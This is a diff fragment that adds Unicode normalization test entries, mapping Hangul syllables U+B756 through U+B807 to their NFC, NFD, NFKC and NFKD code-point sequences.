+{ source: [0xB756], NFC: [0xB756], NFD: [0x1104, 0x1174, 0x11B9], NFKC: [0xB756], NFKD: [0x1104, 0x1174, 0x11B9] },
+{ source: [0xB757], NFC: [0xB757], NFD: [0x1104, 0x1174, 0x11BA], NFKC: [0xB757], NFKD: [0x1104, 0x1174, 0x11BA] },
+{ source: [0xB758], NFC: [0xB758], NFD: [0x1104, 0x1174, 0x11BB], NFKC: [0xB758], NFKD: [0x1104, 0x1174, 0x11BB] },
+{ source: [0xB759], NFC: [0xB759], NFD: [0x1104, 0x1174, 0x11BC], NFKC: [0xB759], NFKD: [0x1104, 0x1174, 0x11BC] },
+{ source: [0xB75A], NFC: [0xB75A], NFD: [0x1104, 0x1174, 0x11BD], NFKC: [0xB75A], NFKD: [0x1104, 0x1174, 0x11BD] },
+{ source: [0xB75B], NFC: [0xB75B], NFD: [0x1104, 0x1174, 0x11BE], NFKC: [0xB75B], NFKD: [0x1104, 0x1174, 0x11BE] },
+{ source: [0xB75C], NFC: [0xB75C], NFD: [0x1104, 0x1174, 0x11BF], NFKC: [0xB75C], NFKD: [0x1104, 0x1174, 0x11BF] },
+{ source: [0xB75D], NFC: [0xB75D], NFD: [0x1104, 0x1174, 0x11C0], NFKC: [0xB75D], NFKD: [0x1104, 0x1174, 0x11C0] },
+{ source: [0xB75E], NFC: [0xB75E], NFD: [0x1104, 0x1174, 0x11C1], NFKC: [0xB75E], NFKD: [0x1104, 0x1174, 0x11C1] },
+{ source: [0xB75F], NFC: [0xB75F], NFD: [0x1104, 0x1174, 0x11C2], NFKC: [0xB75F], NFKD: [0x1104, 0x1174, 0x11C2] },
+{ source: [0xB760], NFC: [0xB760], NFD: [0x1104, 0x1175], NFKC: [0xB760], NFKD: [0x1104, 0x1175] },
+{ source: [0xB761], NFC: [0xB761], NFD: [0x1104, 0x1175, 0x11A8], NFKC: [0xB761], NFKD: [0x1104, 0x1175, 0x11A8] },
+{ source: [0xB762], NFC: [0xB762], NFD: [0x1104, 0x1175, 0x11A9], NFKC: [0xB762], NFKD: [0x1104, 0x1175, 0x11A9] },
+{ source: [0xB763], NFC: [0xB763], NFD: [0x1104, 0x1175, 0x11AA], NFKC: [0xB763], NFKD: [0x1104, 0x1175, 0x11AA] },
+{ source: [0xB764], NFC: [0xB764], NFD: [0x1104, 0x1175, 0x11AB], NFKC: [0xB764], NFKD: [0x1104, 0x1175, 0x11AB] },
+{ source: [0xB765], NFC: [0xB765], NFD: [0x1104, 0x1175, 0x11AC], NFKC: [0xB765], NFKD: [0x1104, 0x1175, 0x11AC] },
+{ source: [0xB766], NFC: [0xB766], NFD: [0x1104, 0x1175, 0x11AD], NFKC: [0xB766], NFKD: [0x1104, 0x1175, 0x11AD] },
+{ source: [0xB767], NFC: [0xB767], NFD: [0x1104, 0x1175, 0x11AE], NFKC: [0xB767], NFKD: [0x1104, 0x1175, 0x11AE] },
+{ source: [0xB768], NFC: [0xB768], NFD: [0x1104, 0x1175, 0x11AF], NFKC: [0xB768], NFKD: [0x1104, 0x1175, 0x11AF] },
+{ source: [0xB769], NFC: [0xB769], NFD: [0x1104, 0x1175, 0x11B0], NFKC: [0xB769], NFKD: [0x1104, 0x1175, 0x11B0] },
+{ source: [0xB76A], NFC: [0xB76A], NFD: [0x1104, 0x1175, 0x11B1], NFKC: [0xB76A], NFKD: [0x1104, 0x1175, 0x11B1] },
+{ source: [0xB76B], NFC: [0xB76B], NFD: [0x1104, 0x1175, 0x11B2], NFKC: [0xB76B], NFKD: [0x1104, 0x1175, 0x11B2] },
+{ source: [0xB76C], NFC: [0xB76C], NFD: [0x1104, 0x1175, 0x11B3], NFKC: [0xB76C], NFKD: [0x1104, 0x1175, 0x11B3] },
+{ source: [0xB76D], NFC: [0xB76D], NFD: [0x1104, 0x1175, 0x11B4], NFKC: [0xB76D], NFKD: [0x1104, 0x1175, 0x11B4] },
+{ source: [0xB76E], NFC: [0xB76E], NFD: [0x1104, 0x1175, 0x11B5], NFKC: [0xB76E], NFKD: [0x1104, 0x1175, 0x11B5] },
+{ source: [0xB76F], NFC: [0xB76F], NFD: [0x1104, 0x1175, 0x11B6], NFKC: [0xB76F], NFKD: [0x1104, 0x1175, 0x11B6] },
+{ source: [0xB770], NFC: [0xB770], NFD: [0x1104, 0x1175, 0x11B7], NFKC: [0xB770], NFKD: [0x1104, 0x1175, 0x11B7] },
+{ source: [0xB771], NFC: [0xB771], NFD: [0x1104, 0x1175, 0x11B8], NFKC: [0xB771], NFKD: [0x1104, 0x1175, 0x11B8] },
+{ source: [0xB772], NFC: [0xB772], NFD: [0x1104, 0x1175, 0x11B9], NFKC: [0xB772], NFKD: [0x1104, 0x1175, 0x11B9] },
+{ source: [0xB773], NFC: [0xB773], NFD: [0x1104, 0x1175, 0x11BA], NFKC: [0xB773], NFKD: [0x1104, 0x1175, 0x11BA] },
+{ source: [0xB774], NFC: [0xB774], NFD: [0x1104, 0x1175, 0x11BB], NFKC: [0xB774], NFKD: [0x1104, 0x1175, 0x11BB] },
+{ source: [0xB775], NFC: [0xB775], NFD: [0x1104, 0x1175, 0x11BC], NFKC: [0xB775], NFKD: [0x1104, 0x1175, 0x11BC] },
+{ source: [0xB776], NFC: [0xB776], NFD: [0x1104, 0x1175, 0x11BD], NFKC: [0xB776], NFKD: [0x1104, 0x1175, 0x11BD] },
+{ source: [0xB777], NFC: [0xB777], NFD: [0x1104, 0x1175, 0x11BE], NFKC: [0xB777], NFKD: [0x1104, 0x1175, 0x11BE] },
+{ source: [0xB778], NFC: [0xB778], NFD: [0x1104, 0x1175, 0x11BF], NFKC: [0xB778], NFKD: [0x1104, 0x1175, 0x11BF] },
+{ source: [0xB779], NFC: [0xB779], NFD: [0x1104, 0x1175, 0x11C0], NFKC: [0xB779], NFKD: [0x1104, 0x1175, 0x11C0] },
+{ source: [0xB77A], NFC: [0xB77A], NFD: [0x1104, 0x1175, 0x11C1], NFKC: [0xB77A], NFKD: [0x1104, 0x1175, 0x11C1] },
+{ source: [0xB77B], NFC: [0xB77B], NFD: [0x1104, 0x1175, 0x11C2], NFKC: [0xB77B], NFKD: [0x1104, 0x1175, 0x11C2] },
+{ source: [0xB77C], NFC: [0xB77C], NFD: [0x1105, 0x1161], NFKC: [0xB77C], NFKD: [0x1105, 0x1161] },
+{ source: [0xB77D], NFC: [0xB77D], NFD: [0x1105, 0x1161, 0x11A8], NFKC: [0xB77D], NFKD: [0x1105, 0x1161, 0x11A8] },
+{ source: [0xB77E], NFC: [0xB77E], NFD: [0x1105, 0x1161, 0x11A9], NFKC: [0xB77E], NFKD: [0x1105, 0x1161, 0x11A9] },
+{ source: [0xB77F], NFC: [0xB77F], NFD: [0x1105, 0x1161, 0x11AA], NFKC: [0xB77F], NFKD: [0x1105, 0x1161, 0x11AA] },
+{ source: [0xB780], NFC: [0xB780], NFD: [0x1105, 0x1161, 0x11AB], NFKC: [0xB780], NFKD: [0x1105, 0x1161, 0x11AB] },
+{ source: [0xB781], NFC: [0xB781], NFD: [0x1105, 0x1161, 0x11AC], NFKC: [0xB781], NFKD: [0x1105, 0x1161, 0x11AC] },
+{ source: [0xB782], NFC: [0xB782], NFD: [0x1105, 0x1161, 0x11AD], NFKC: [0xB782], NFKD: [0x1105, 0x1161, 0x11AD] },
+{ source: [0xB783], NFC: [0xB783], NFD: [0x1105, 0x1161, 0x11AE], NFKC: [0xB783], NFKD: [0x1105, 0x1161, 0x11AE] },
+{ source: [0xB784], NFC: [0xB784], NFD: [0x1105, 0x1161, 0x11AF], NFKC: [0xB784], NFKD: [0x1105, 0x1161, 0x11AF] },
+{ source: [0xB785], NFC: [0xB785], NFD: [0x1105, 0x1161, 0x11B0], NFKC: [0xB785], NFKD: [0x1105, 0x1161, 0x11B0] },
+{ source: [0xB786], NFC: [0xB786], NFD: [0x1105, 0x1161, 0x11B1], NFKC: [0xB786], NFKD: [0x1105, 0x1161, 0x11B1] },
+{ source: [0xB787], NFC: [0xB787], NFD: [0x1105, 0x1161, 0x11B2], NFKC: [0xB787], NFKD: [0x1105, 0x1161, 0x11B2] },
+{ source: [0xB788], NFC: [0xB788], NFD: [0x1105, 0x1161, 0x11B3], NFKC: [0xB788], NFKD: [0x1105, 0x1161, 0x11B3] },
+{ source: [0xB789], NFC: [0xB789], NFD: [0x1105, 0x1161, 0x11B4], NFKC: [0xB789], NFKD: [0x1105, 0x1161, 0x11B4] },
+{ source: [0xB78A], NFC: [0xB78A], NFD: [0x1105, 0x1161, 0x11B5], NFKC: [0xB78A], NFKD: [0x1105, 0x1161, 0x11B5] },
+{ source: [0xB78B], NFC: [0xB78B], NFD: [0x1105, 0x1161, 0x11B6], NFKC: [0xB78B], NFKD: [0x1105, 0x1161, 0x11B6] },
+{ source: [0xB78C], NFC: [0xB78C], NFD: [0x1105, 0x1161, 0x11B7], NFKC: [0xB78C], NFKD: [0x1105, 0x1161, 0x11B7] },
+{ source: [0xB78D], NFC: [0xB78D], NFD: [0x1105, 0x1161, 0x11B8], NFKC: [0xB78D], NFKD: [0x1105, 0x1161, 0x11B8] },
+{ source: [0xB78E], NFC: [0xB78E], NFD: [0x1105, 0x1161, 0x11B9], NFKC: [0xB78E], NFKD: [0x1105, 0x1161, 0x11B9] },
+{ source: [0xB78F], NFC: [0xB78F], NFD: [0x1105, 0x1161, 0x11BA], NFKC: [0xB78F], NFKD: [0x1105, 0x1161, 0x11BA] },
+{ source: [0xB790], NFC: [0xB790], NFD: [0x1105, 0x1161, 0x11BB], NFKC: [0xB790], NFKD: [0x1105, 0x1161, 0x11BB] },
+{ source: [0xB791], NFC: [0xB791], NFD: [0x1105, 0x1161, 0x11BC], NFKC: [0xB791], NFKD: [0x1105, 0x1161, 0x11BC] },
+{ source: [0xB792], NFC: [0xB792], NFD: [0x1105, 0x1161, 0x11BD], NFKC: [0xB792], NFKD: [0x1105, 0x1161, 0x11BD] },
+{ source: [0xB793], NFC: [0xB793], NFD: [0x1105, 0x1161, 0x11BE], NFKC: [0xB793], NFKD: [0x1105, 0x1161, 0x11BE] },
+{ source: [0xB794], NFC: [0xB794], NFD: [0x1105, 0x1161, 0x11BF], NFKC: [0xB794], NFKD: [0x1105, 0x1161, 0x11BF] },
+{ source: [0xB795], NFC: [0xB795], NFD: [0x1105, 0x1161, 0x11C0], NFKC: [0xB795], NFKD: [0x1105, 0x1161, 0x11C0] },
+{ source: [0xB796], NFC: [0xB796], NFD: [0x1105, 0x1161, 0x11C1], NFKC: [0xB796], NFKD: [0x1105, 0x1161, 0x11C1] },
+{ source: [0xB797], NFC: [0xB797], NFD: [0x1105, 0x1161, 0x11C2], NFKC: [0xB797], NFKD: [0x1105, 0x1161, 0x11C2] },
+{ source: [0xB798], NFC: [0xB798], NFD: [0x1105, 0x1162], NFKC: [0xB798], NFKD: [0x1105, 0x1162] },
+{ source: [0xB799], NFC: [0xB799], NFD: [0x1105, 0x1162, 0x11A8], NFKC: [0xB799], NFKD: [0x1105, 0x1162, 0x11A8] },
+{ source: [0xB79A], NFC: [0xB79A], NFD: [0x1105, 0x1162, 0x11A9], NFKC: [0xB79A], NFKD: [0x1105, 0x1162, 0x11A9] },
+{ source: [0xB79B], NFC: [0xB79B], NFD: [0x1105, 0x1162, 0x11AA], NFKC: [0xB79B], NFKD: [0x1105, 0x1162, 0x11AA] },
+{ source: [0xB79C], NFC: [0xB79C], NFD: [0x1105, 0x1162, 0x11AB], NFKC: [0xB79C], NFKD: [0x1105, 0x1162, 0x11AB] },
+{ source: [0xB79D], NFC: [0xB79D], NFD: [0x1105, 0x1162, 0x11AC], NFKC: [0xB79D], NFKD: [0x1105, 0x1162, 0x11AC] },
+{ source: [0xB79E], NFC: [0xB79E], NFD: [0x1105, 0x1162, 0x11AD], NFKC: [0xB79E], NFKD: [0x1105, 0x1162, 0x11AD] },
+{ source: [0xB79F], NFC: [0xB79F], NFD: [0x1105, 0x1162, 0x11AE], NFKC: [0xB79F], NFKD: [0x1105, 0x1162, 0x11AE] },
+{ source: [0xB7A0], NFC: [0xB7A0], NFD: [0x1105, 0x1162, 0x11AF], NFKC: [0xB7A0], NFKD: [0x1105, 0x1162, 0x11AF] },
+{ source: [0xB7A1], NFC: [0xB7A1], NFD: [0x1105, 0x1162, 0x11B0], NFKC: [0xB7A1], NFKD: [0x1105, 0x1162, 0x11B0] },
+{ source: [0xB7A2], NFC: [0xB7A2], NFD: [0x1105, 0x1162, 0x11B1], NFKC: [0xB7A2], NFKD: [0x1105, 0x1162, 0x11B1] },
+{ source: [0xB7A3], NFC: [0xB7A3], NFD: [0x1105, 0x1162, 0x11B2], NFKC: [0xB7A3], NFKD: [0x1105, 0x1162, 0x11B2] },
+{ source: [0xB7A4], NFC: [0xB7A4], NFD: [0x1105, 0x1162, 0x11B3], NFKC: [0xB7A4], NFKD: [0x1105, 0x1162, 0x11B3] },
+{ source: [0xB7A5], NFC: [0xB7A5], NFD: [0x1105, 0x1162, 0x11B4], NFKC: [0xB7A5], NFKD: [0x1105, 0x1162, 0x11B4] },
+{ source: [0xB7A6], NFC: [0xB7A6], NFD: [0x1105, 0x1162, 0x11B5], NFKC: [0xB7A6], NFKD: [0x1105, 0x1162, 0x11B5] },
+{ source: [0xB7A7], NFC: [0xB7A7], NFD: [0x1105, 0x1162, 0x11B6], NFKC: [0xB7A7], NFKD: [0x1105, 0x1162, 0x11B6] },
+{ source: [0xB7A8], NFC: [0xB7A8], NFD: [0x1105, 0x1162, 0x11B7], NFKC: [0xB7A8], NFKD: [0x1105, 0x1162, 0x11B7] },
+{ source: [0xB7A9], NFC: [0xB7A9], NFD: [0x1105, 0x1162, 0x11B8], NFKC: [0xB7A9], NFKD: [0x1105, 0x1162, 0x11B8] },
+{ source: [0xB7AA], NFC: [0xB7AA], NFD: [0x1105, 0x1162, 0x11B9], NFKC: [0xB7AA], NFKD: [0x1105, 0x1162, 0x11B9] },
+{ source: [0xB7AB], NFC: [0xB7AB], NFD: [0x1105, 0x1162, 0x11BA], NFKC: [0xB7AB], NFKD: [0x1105, 0x1162, 0x11BA] },
+{ source: [0xB7AC], NFC: [0xB7AC], NFD: [0x1105, 0x1162, 0x11BB], NFKC: [0xB7AC], NFKD: [0x1105, 0x1162, 0x11BB] },
+{ source: [0xB7AD], NFC: [0xB7AD], NFD: [0x1105, 0x1162, 0x11BC], NFKC: [0xB7AD], NFKD: [0x1105, 0x1162, 0x11BC] },
+{ source: [0xB7AE], NFC: [0xB7AE], NFD: [0x1105, 0x1162, 0x11BD], NFKC: [0xB7AE], NFKD: [0x1105, 0x1162, 0x11BD] },
+{ source: [0xB7AF], NFC: [0xB7AF], NFD: [0x1105, 0x1162, 0x11BE], NFKC: [0xB7AF], NFKD: [0x1105, 0x1162, 0x11BE] },
+{ source: [0xB7B0], NFC: [0xB7B0], NFD: [0x1105, 0x1162, 0x11BF], NFKC: [0xB7B0], NFKD: [0x1105, 0x1162, 0x11BF] },
+{ source: [0xB7B1], NFC: [0xB7B1], NFD: [0x1105, 0x1162, 0x11C0], NFKC: [0xB7B1], NFKD: [0x1105, 0x1162, 0x11C0] },
+{ source: [0xB7B2], NFC: [0xB7B2], NFD: [0x1105, 0x1162, 0x11C1], NFKC: [0xB7B2], NFKD: [0x1105, 0x1162, 0x11C1] },
+{ source: [0xB7B3], NFC: [0xB7B3], NFD: [0x1105, 0x1162, 0x11C2], NFKC: [0xB7B3], NFKD: [0x1105, 0x1162, 0x11C2] },
+{ source: [0xB7B4], NFC: [0xB7B4], NFD: [0x1105, 0x1163], NFKC: [0xB7B4], NFKD: [0x1105, 0x1163] },
+{ source: [0xB7B5], NFC: [0xB7B5], NFD: [0x1105, 0x1163, 0x11A8], NFKC: [0xB7B5], NFKD: [0x1105, 0x1163, 0x11A8] },
+{ source: [0xB7B6], NFC: [0xB7B6], NFD: [0x1105, 0x1163, 0x11A9], NFKC: [0xB7B6], NFKD: [0x1105, 0x1163, 0x11A9] },
+{ source: [0xB7B7], NFC: [0xB7B7], NFD: [0x1105, 0x1163, 0x11AA], NFKC: [0xB7B7], NFKD: [0x1105, 0x1163, 0x11AA] },
+{ source: [0xB7B8], NFC: [0xB7B8], NFD: [0x1105, 0x1163, 0x11AB], NFKC: [0xB7B8], NFKD: [0x1105, 0x1163, 0x11AB] },
+{ source: [0xB7B9], NFC: [0xB7B9], NFD: [0x1105, 0x1163, 0x11AC], NFKC: [0xB7B9], NFKD: [0x1105, 0x1163, 0x11AC] },
+{ source: [0xB7BA], NFC: [0xB7BA], NFD: [0x1105, 0x1163, 0x11AD], NFKC: [0xB7BA], NFKD: [0x1105, 0x1163, 0x11AD] },
+{ source: [0xB7BB], NFC: [0xB7BB], NFD: [0x1105, 0x1163, 0x11AE], NFKC: [0xB7BB], NFKD: [0x1105, 0x1163, 0x11AE] },
+{ source: [0xB7BC], NFC: [0xB7BC], NFD: [0x1105, 0x1163, 0x11AF], NFKC: [0xB7BC], NFKD: [0x1105, 0x1163, 0x11AF] },
+{ source: [0xB7BD], NFC: [0xB7BD], NFD: [0x1105, 0x1163, 0x11B0], NFKC: [0xB7BD], NFKD: [0x1105, 0x1163, 0x11B0] },
+{ source: [0xB7BE], NFC: [0xB7BE], NFD: [0x1105, 0x1163, 0x11B1], NFKC: [0xB7BE], NFKD: [0x1105, 0x1163, 0x11B1] },
+{ source: [0xB7BF], NFC: [0xB7BF], NFD: [0x1105, 0x1163, 0x11B2], NFKC: [0xB7BF], NFKD: [0x1105, 0x1163, 0x11B2] },
+{ source: [0xB7C0], NFC: [0xB7C0], NFD: [0x1105, 0x1163, 0x11B3], NFKC: [0xB7C0], NFKD: [0x1105, 0x1163, 0x11B3] },
+{ source: [0xB7C1], NFC: [0xB7C1], NFD: [0x1105, 0x1163, 0x11B4], NFKC: [0xB7C1], NFKD: [0x1105, 0x1163, 0x11B4] },
+{ source: [0xB7C2], NFC: [0xB7C2], NFD: [0x1105, 0x1163, 0x11B5], NFKC: [0xB7C2], NFKD: [0x1105, 0x1163, 0x11B5] },
+{ source: [0xB7C3], NFC: [0xB7C3], NFD: [0x1105, 0x1163, 0x11B6], NFKC: [0xB7C3], NFKD: [0x1105, 0x1163, 0x11B6] },
+{ source: [0xB7C4], NFC: [0xB7C4], NFD: [0x1105, 0x1163, 0x11B7], NFKC: [0xB7C4], NFKD: [0x1105, 0x1163, 0x11B7] },
+{ source: [0xB7C5], NFC: [0xB7C5], NFD: [0x1105, 0x1163, 0x11B8], NFKC: [0xB7C5], NFKD: [0x1105, 0x1163, 0x11B8] },
+{ source: [0xB7C6], NFC: [0xB7C6], NFD: [0x1105, 0x1163, 0x11B9], NFKC: [0xB7C6], NFKD: [0x1105, 0x1163, 0x11B9] },
+{ source: [0xB7C7], NFC: [0xB7C7], NFD: [0x1105, 0x1163, 0x11BA], NFKC: [0xB7C7], NFKD: [0x1105, 0x1163, 0x11BA] },
+{ source: [0xB7C8], NFC: [0xB7C8], NFD: [0x1105, 0x1163, 0x11BB], NFKC: [0xB7C8], NFKD: [0x1105, 0x1163, 0x11BB] },
+{ source: [0xB7C9], NFC: [0xB7C9], NFD: [0x1105, 0x1163, 0x11BC], NFKC: [0xB7C9], NFKD: [0x1105, 0x1163, 0x11BC] },
+{ source: [0xB7CA], NFC: [0xB7CA], NFD: [0x1105, 0x1163, 0x11BD], NFKC: [0xB7CA], NFKD: [0x1105, 0x1163, 0x11BD] },
+{ source: [0xB7CB], NFC: [0xB7CB], NFD: [0x1105, 0x1163, 0x11BE], NFKC: [0xB7CB], NFKD: [0x1105, 0x1163, 0x11BE] },
+{ source: [0xB7CC], NFC: [0xB7CC], NFD: [0x1105, 0x1163, 0x11BF], NFKC: [0xB7CC], NFKD: [0x1105, 0x1163, 0x11BF] },
+{ source: [0xB7CD], NFC: [0xB7CD], NFD: [0x1105, 0x1163, 0x11C0], NFKC: [0xB7CD], NFKD: [0x1105, 0x1163, 0x11C0] },
+{ source: [0xB7CE], NFC: [0xB7CE], NFD: [0x1105, 0x1163, 0x11C1], NFKC: [0xB7CE], NFKD: [0x1105, 0x1163, 0x11C1] },
+{ source: [0xB7CF], NFC: [0xB7CF], NFD: [0x1105, 0x1163, 0x11C2], NFKC: [0xB7CF], NFKD: [0x1105, 0x1163, 0x11C2] },
+{ source: [0xB7D0], NFC: [0xB7D0], NFD: [0x1105, 0x1164], NFKC: [0xB7D0], NFKD: [0x1105, 0x1164] },
+{ source: [0xB7D1], NFC: [0xB7D1], NFD: [0x1105, 0x1164, 0x11A8], NFKC: [0xB7D1], NFKD: [0x1105, 0x1164, 0x11A8] },
+{ source: [0xB7D2], NFC: [0xB7D2], NFD: [0x1105, 0x1164, 0x11A9], NFKC: [0xB7D2], NFKD: [0x1105, 0x1164, 0x11A9] },
+{ source: [0xB7D3], NFC: [0xB7D3], NFD: [0x1105, 0x1164, 0x11AA], NFKC: [0xB7D3], NFKD: [0x1105, 0x1164, 0x11AA] },
+{ source: [0xB7D4], NFC: [0xB7D4], NFD: [0x1105, 0x1164, 0x11AB], NFKC: [0xB7D4], NFKD: [0x1105, 0x1164, 0x11AB] },
+{ source: [0xB7D5], NFC: [0xB7D5], NFD: [0x1105, 0x1164, 0x11AC], NFKC: [0xB7D5], NFKD: [0x1105, 0x1164, 0x11AC] },
+{ source: [0xB7D6], NFC: [0xB7D6], NFD: [0x1105, 0x1164, 0x11AD], NFKC: [0xB7D6], NFKD: [0x1105, 0x1164, 0x11AD] },
+{ source: [0xB7D7], NFC: [0xB7D7], NFD: [0x1105, 0x1164, 0x11AE], NFKC: [0xB7D7], NFKD: [0x1105, 0x1164, 0x11AE] },
+{ source: [0xB7D8], NFC: [0xB7D8], NFD: [0x1105, 0x1164, 0x11AF], NFKC: [0xB7D8], NFKD: [0x1105, 0x1164, 0x11AF] },
+{ source: [0xB7D9], NFC: [0xB7D9], NFD: [0x1105, 0x1164, 0x11B0], NFKC: [0xB7D9], NFKD: [0x1105, 0x1164, 0x11B0] },
+{ source: [0xB7DA], NFC: [0xB7DA], NFD: [0x1105, 0x1164, 0x11B1], NFKC: [0xB7DA], NFKD: [0x1105, 0x1164, 0x11B1] },
+{ source: [0xB7DB], NFC: [0xB7DB], NFD: [0x1105, 0x1164, 0x11B2], NFKC: [0xB7DB], NFKD: [0x1105, 0x1164, 0x11B2] },
+{ source: [0xB7DC], NFC: [0xB7DC], NFD: [0x1105, 0x1164, 0x11B3], NFKC: [0xB7DC], NFKD: [0x1105, 0x1164, 0x11B3] },
+{ source: [0xB7DD], NFC: [0xB7DD], NFD: [0x1105, 0x1164, 0x11B4], NFKC: [0xB7DD], NFKD: [0x1105, 0x1164, 0x11B4] },
+{ source: [0xB7DE], NFC: [0xB7DE], NFD: [0x1105, 0x1164, 0x11B5], NFKC: [0xB7DE], NFKD: [0x1105, 0x1164, 0x11B5] },
+{ source: [0xB7DF], NFC: [0xB7DF], NFD: [0x1105, 0x1164, 0x11B6], NFKC: [0xB7DF], NFKD: [0x1105, 0x1164, 0x11B6] },
+{ source: [0xB7E0], NFC: [0xB7E0], NFD: [0x1105, 0x1164, 0x11B7], NFKC: [0xB7E0], NFKD: [0x1105, 0x1164, 0x11B7] },
+{ source: [0xB7E1], NFC: [0xB7E1], NFD: [0x1105, 0x1164, 0x11B8], NFKC: [0xB7E1], NFKD: [0x1105, 0x1164, 0x11B8] },
+{ source: [0xB7E2], NFC: [0xB7E2], NFD: [0x1105, 0x1164, 0x11B9], NFKC: [0xB7E2], NFKD: [0x1105, 0x1164, 0x11B9] },
+{ source: [0xB7E3], NFC: [0xB7E3], NFD: [0x1105, 0x1164, 0x11BA], NFKC: [0xB7E3], NFKD: [0x1105, 0x1164, 0x11BA] },
+{ source: [0xB7E4], NFC: [0xB7E4], NFD: [0x1105, 0x1164, 0x11BB], NFKC: [0xB7E4], NFKD: [0x1105, 0x1164, 0x11BB] },
+{ source: [0xB7E5], NFC: [0xB7E5], NFD: [0x1105, 0x1164, 0x11BC], NFKC: [0xB7E5], NFKD: [0x1105, 0x1164, 0x11BC] },
+{ source: [0xB7E6], NFC: [0xB7E6], NFD: [0x1105, 0x1164, 0x11BD], NFKC: [0xB7E6], NFKD: [0x1105, 0x1164, 0x11BD] },
+{ source: [0xB7E7], NFC: [0xB7E7], NFD: [0x1105, 0x1164, 0x11BE], NFKC: [0xB7E7], NFKD: [0x1105, 0x1164, 0x11BE] },
+{ source: [0xB7E8], NFC: [0xB7E8], NFD: [0x1105, 0x1164, 0x11BF], NFKC: [0xB7E8], NFKD: [0x1105, 0x1164, 0x11BF] },
+{ source: [0xB7E9], NFC: [0xB7E9], NFD: [0x1105, 0x1164, 0x11C0], NFKC: [0xB7E9], NFKD: [0x1105, 0x1164, 0x11C0] },
+{ source: [0xB7EA], NFC: [0xB7EA], NFD: [0x1105, 0x1164, 0x11C1], NFKC: [0xB7EA], NFKD: [0x1105, 0x1164, 0x11C1] },
+{ source: [0xB7EB], NFC: [0xB7EB], NFD: [0x1105, 0x1164, 0x11C2], NFKC: [0xB7EB], NFKD: [0x1105, 0x1164, 0x11C2] },
+{ source: [0xB7EC], NFC: [0xB7EC], NFD: [0x1105, 0x1165], NFKC: [0xB7EC], NFKD: [0x1105, 0x1165] },
+{ source: [0xB7ED], NFC: [0xB7ED], NFD: [0x1105, 0x1165, 0x11A8], NFKC: [0xB7ED], NFKD: [0x1105, 0x1165, 0x11A8] },
+{ source: [0xB7EE], NFC: [0xB7EE], NFD: [0x1105, 0x1165, 0x11A9], NFKC: [0xB7EE], NFKD: [0x1105, 0x1165, 0x11A9] },
+{ source: [0xB7EF], NFC: [0xB7EF], NFD: [0x1105, 0x1165, 0x11AA], NFKC: [0xB7EF], NFKD: [0x1105, 0x1165, 0x11AA] },
+{ source: [0xB7F0], NFC: [0xB7F0], NFD: [0x1105, 0x1165, 0x11AB], NFKC: [0xB7F0], NFKD: [0x1105, 0x1165, 0x11AB] },
+{ source: [0xB7F1], NFC: [0xB7F1], NFD: [0x1105, 0x1165, 0x11AC], NFKC: [0xB7F1], NFKD: [0x1105, 0x1165, 0x11AC] },
+{ source: [0xB7F2], NFC: [0xB7F2], NFD: [0x1105, 0x1165, 0x11AD], NFKC: [0xB7F2], NFKD: [0x1105, 0x1165, 0x11AD] },
+{ source: [0xB7F3], NFC: [0xB7F3], NFD: [0x1105, 0x1165, 0x11AE], NFKC: [0xB7F3], NFKD: [0x1105, 0x1165, 0x11AE] },
+{ source: [0xB7F4], NFC: [0xB7F4], NFD: [0x1105, 0x1165, 0x11AF], NFKC: [0xB7F4], NFKD: [0x1105, 0x1165, 0x11AF] },
+{ source: [0xB7F5], NFC: [0xB7F5], NFD: [0x1105, 0x1165, 0x11B0], NFKC: [0xB7F5], NFKD: [0x1105, 0x1165, 0x11B0] },
+{ source: [0xB7F6], NFC: [0xB7F6], NFD: [0x1105, 0x1165, 0x11B1], NFKC: [0xB7F6], NFKD: [0x1105, 0x1165, 0x11B1] },
+{ source: [0xB7F7], NFC: [0xB7F7], NFD: [0x1105, 0x1165, 0x11B2], NFKC: [0xB7F7], NFKD: [0x1105, 0x1165, 0x11B2] },
+{ source: [0xB7F8], NFC: [0xB7F8], NFD: [0x1105, 0x1165, 0x11B3], NFKC: [0xB7F8], NFKD: [0x1105, 0x1165, 0x11B3] },
+{ source: [0xB7F9], NFC: [0xB7F9], NFD: [0x1105, 0x1165, 0x11B4], NFKC: [0xB7F9], NFKD: [0x1105, 0x1165, 0x11B4] },
+{ source: [0xB7FA], NFC: [0xB7FA], NFD: [0x1105, 0x1165, 0x11B5], NFKC: [0xB7FA], NFKD: [0x1105, 0x1165, 0x11B5] },
+{ source: [0xB7FB], NFC: [0xB7FB], NFD: [0x1105, 0x1165, 0x11B6], NFKC: [0xB7FB], NFKD: [0x1105, 0x1165, 0x11B6] },
+{ source: [0xB7FC], NFC: [0xB7FC], NFD: [0x1105, 0x1165, 0x11B7], NFKC: [0xB7FC], NFKD: [0x1105, 0x1165, 0x11B7] },
+{ source: [0xB7FD], NFC: [0xB7FD], NFD: [0x1105, 0x1165, 0x11B8], NFKC: [0xB7FD], NFKD: [0x1105, 0x1165, 0x11B8] },
+{ source: [0xB7FE], NFC: [0xB7FE], NFD: [0x1105, 0x1165, 0x11B9], NFKC: [0xB7FE], NFKD: [0x1105, 0x1165, 0x11B9] },
+{ source: [0xB7FF], NFC: [0xB7FF], NFD: [0x1105, 0x1165, 0x11BA], NFKC: [0xB7FF], NFKD: [0x1105, 0x1165, 0x11BA] },
+{ source: [0xB800], NFC: [0xB800], NFD: [0x1105, 0x1165, 0x11BB], NFKC: [0xB800], NFKD: [0x1105, 0x1165, 0x11BB] },
+{ source: [0xB801], NFC: [0xB801], NFD: [0x1105, 0x1165, 0x11BC], NFKC: [0xB801], NFKD: [0x1105, 0x1165, 0x11BC] },
+{ source: [0xB802], NFC: [0xB802], NFD: [0x1105, 0x1165, 0x11BD], NFKC: [0xB802], NFKD: [0x1105, 0x1165, 0x11BD] },
+{ source: [0xB803], NFC: [0xB803], NFD: [0x1105, 0x1165, 0x11BE], NFKC: [0xB803], NFKD: [0x1105, 0x1165, 0x11BE] },
+{ source: [0xB804], NFC: [0xB804], NFD: [0x1105, 0x1165, 0x11BF], NFKC: [0xB804], NFKD: [0x1105, 0x1165, 0x11BF] },
+{ source: [0xB805], NFC: [0xB805], NFD: [0x1105, 0x1165, 0x11C0], NFKC: [0xB805], NFKD: [0x1105, 0x1165, 0x11C0] },
+{ source: [0xB806], NFC: [0xB806], NFD: [0x1105, 0x1165, 0x11C1], NFKC: [0xB806], NFKD: [0x1105, 0x1165, 0x11C1] },
+{ source: [0xB807], NFC: [0xB807], NFD: [0x1105, 0x1165, 0x11C2], NFKC: [0xB807], NFKD: [0x1105, 0x1165, 0x11C2] },
